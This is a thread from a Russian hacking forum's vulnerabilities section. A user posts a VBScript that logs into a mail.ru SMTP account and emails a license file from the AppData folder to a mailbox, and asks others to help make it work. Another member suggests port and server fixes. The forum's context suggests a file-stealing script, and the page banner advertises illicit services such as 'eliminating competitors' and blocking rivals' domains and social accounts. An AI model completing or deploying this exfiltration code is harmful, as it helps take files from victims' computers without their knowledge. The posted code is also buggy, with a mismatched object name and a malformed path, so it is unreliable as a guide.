Загрузка файла на почту

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ

Скрыть

		ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Загрузка файла на почту

Опции темы

Поиск в этой теме

Опции просмотра

19.02.2014, 01:00

sector.404

Новичок

Регистрация: 19.02.2014

Сообщений: 9

С нами: 6436406

Репутация: 0

Есть скрипт на VBS

VBScript highlight

Код:

Set objMes = CreateObject(
"CDO.Message"
)
objMes.Configuration.Fields.Item(
"http://schemas.microsoft.com/cdo/configuration/smtpserver"
) =
"mail.ru"
objMes.Configuration.Fields.Item(
"http://schemas.microsoft.com/cdo/configuration/smtpserverport"
) =
25
objMes.Configuration.Fields.Item(
"http://schemas.microsoft.com/cdo/configuration/smtpauthenticate"
) =
1
objMes.Configuration.Fields.Item(
"http://schemas.microsoft.com/cdo/configuration/sendusername"
) =
"pochta@mail.ru"
objMessage.Configuration.Fields.Item(
"http://schemas.microsoft.com/cdo/configuration/sendpassword"
) =
"пароль от почты"
objMes.Configuration.Fields.Update
objMes.From =
"pochta@mail.ru"
objMes.To =
"pochta@mail.ru"
objMes.Subject =
"OK"
objMes.Textbody =
"OK"
objMes.AddAttachment
"C:\%appdata%\MyApp\License\application.lic"
objMes.Send

Что-то здесь не так потому что оно не работает, помогите

𝕏 Twitter Reddit Telegram Копировать ссылку

19.02.2014, 01:00

rox@hak

Постоянный

Регистрация: 04.07.2010

Сообщений: 592

С нами: 8345846

Репутация: 221

попробуй изменить порт с 25 на 465
SMTP — 465
и сервер не mail.ru а smtp.mail.ru
smtpauthenticate вместо 1 нужно выставлять пароль

19.02.2014, 01:00

sector.404

Новичок

Регистрация: 19.02.2014

Сообщений: 9

С нами: 6436406

Репутация: 0

Цитата:

Сообщение от rox@hak

попробуй изменить порт с 25 на 465
SMTP — 465
и сервер не mail.ru а smtp.mail.ru
smtpauthenticate вместо 1 нужно выставлять пароль

напиши наглядный пример

19.02.2014, 01:00

sector.404

Новичок

Регистрация: 19.02.2014

Сообщений: 9

С нами: 6436406

Репутация: 0

IMAGE http://rghost.ru/52535148/image.png

вот что вышло после запуска

19.02.2014, 01:00

sector.404

Новичок

Регистрация: 19.02.2014

Сообщений: 9

С нами: 6436406

Репутация: 0

Set objMes = CreateObject("CDO.Message")
objMes.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserver") = "mail.ru"
objMes.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = 25
objMes.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1
objMes.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendusername") = "pochta@mail.ru"
objMes.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendpassword") = "пароль от почты"
objMes.From = "pochta@mail.ru"
objMes.To = "pochta@mail.ru"
objMes.Subject = "OK"
objMes.Textbody = "OK"
objMes.AddAttachment "C:\%appdata%\MyApp\License\application.lic"
objMes.Send

переписал немного, как теперь указать путь к файлу, а то он кричит что не может найти путь